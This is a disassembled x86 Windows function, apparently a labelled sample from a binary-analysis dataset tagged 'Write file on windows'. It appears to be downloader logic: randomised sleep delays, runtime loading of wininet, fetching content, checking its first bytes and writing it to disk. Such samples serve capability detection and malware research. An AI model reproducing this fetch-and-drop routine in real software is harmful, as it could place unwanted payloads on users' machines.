Function at 0x403f99
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xcb0
or dword [esp + 0xc], 0xffffffff
push ebx
push ebp
push esi
mov ebp, 0x3ff
push edi
push ebp
lea eax, [esp + 0xc4]
push 0
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.MSVCRT.dll_time]
push 0
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
add esp, 0x10
mov esi, eax
call ebx
push 0x14
add eax, esi
xor edx, edx
pop ecx
div ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push edx
call esi
push ebp
xor ebp, ebp
lea eax, [esp + 0x4c4]
push ebp
push eax
call sub.MSVCRT.dll_memset
push 0x63
lea eax, [esp + 0x6c]
push ebp
push eax
call sub.MSVCRT.dll_memset
push ebp
call edi
add esp, 0x1c
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 0x40d020
push 0x40d70c
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x4040e5
push 0x3c
pop ebp
push ebp
push eax
lea eax, [esp + 0x28]
push eax
call sub.MSVCRT.dll_memset
lea eax, [esp + 0xcc]
push 0
mov dword [esp + 0x30], ebp
mov dword [esp + 0x5c], eax
call edi
add esp, 0x10
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov eax, 0x378
lea ecx, [esp + 0x4c0]
push 0
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], eax
call edi
pop ecx
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x5c]
push 1
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 0x63
call esi
push str.InternetCrackUrlA
push str.wininet
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push 0
push dword [esp + 0xcd0]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [esp + 0xcd4]
call ebp
push 2
call esi
push dword [esp + 0x54]
lea eax, [esp + 0x8c4]
push dword [esp + 0x50]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x7a120
call dword [sym.imp.MSVCRT.dll_malloc]
xor ebp, ebp
push 0x7a11f
push ebp
push eax
mov dword [esp + 0x30], eax
call sub.MSVCRT.dll_memset
push ebp
mov dword [esp + 0x38], ebp
call edi
add esp, 0x24
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [esp + 0x14]
push 0x40d688
push eax
lea eax, [esp + 0x8c8]
push dword [esp + 0x18]
xor ebp, ebp
push eax
push ebp
push 0x40de18
push dword [esp + 0x48]
call fcn.00401783
cmp dword [esp + 0x14], ebp
jbe 0x404221
push ebp
call edi
pop ecx
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str._r_n_r_n
push dword [esp + 0x14]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
je 0x404221
add eax, 4
push 0
mov dword [esp + 0x1c], eax
call edi
pop ecx
mov ebp, eax
call ebx
push 0x14
add eax, ebp
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 2
push 0x40d6f8
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x404221
push 0x40d340
push dword [esp + 0xcd0]
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
pop ecx
test ebp, ebp
pop ecx
je 0x404221
push 0
call edi
pop ecx
mov edi, eax
call ebx
push 0x14
add eax, edi
xor edx, edx
pop ecx
div ecx
push edx
call esi
push ebp
push 1
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x20]
add eax, dword [esp + 0x18]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
and dword [esp + 0x1c], 0
push dword [esp + 0x10]
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x20]
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcb0
ret 0x14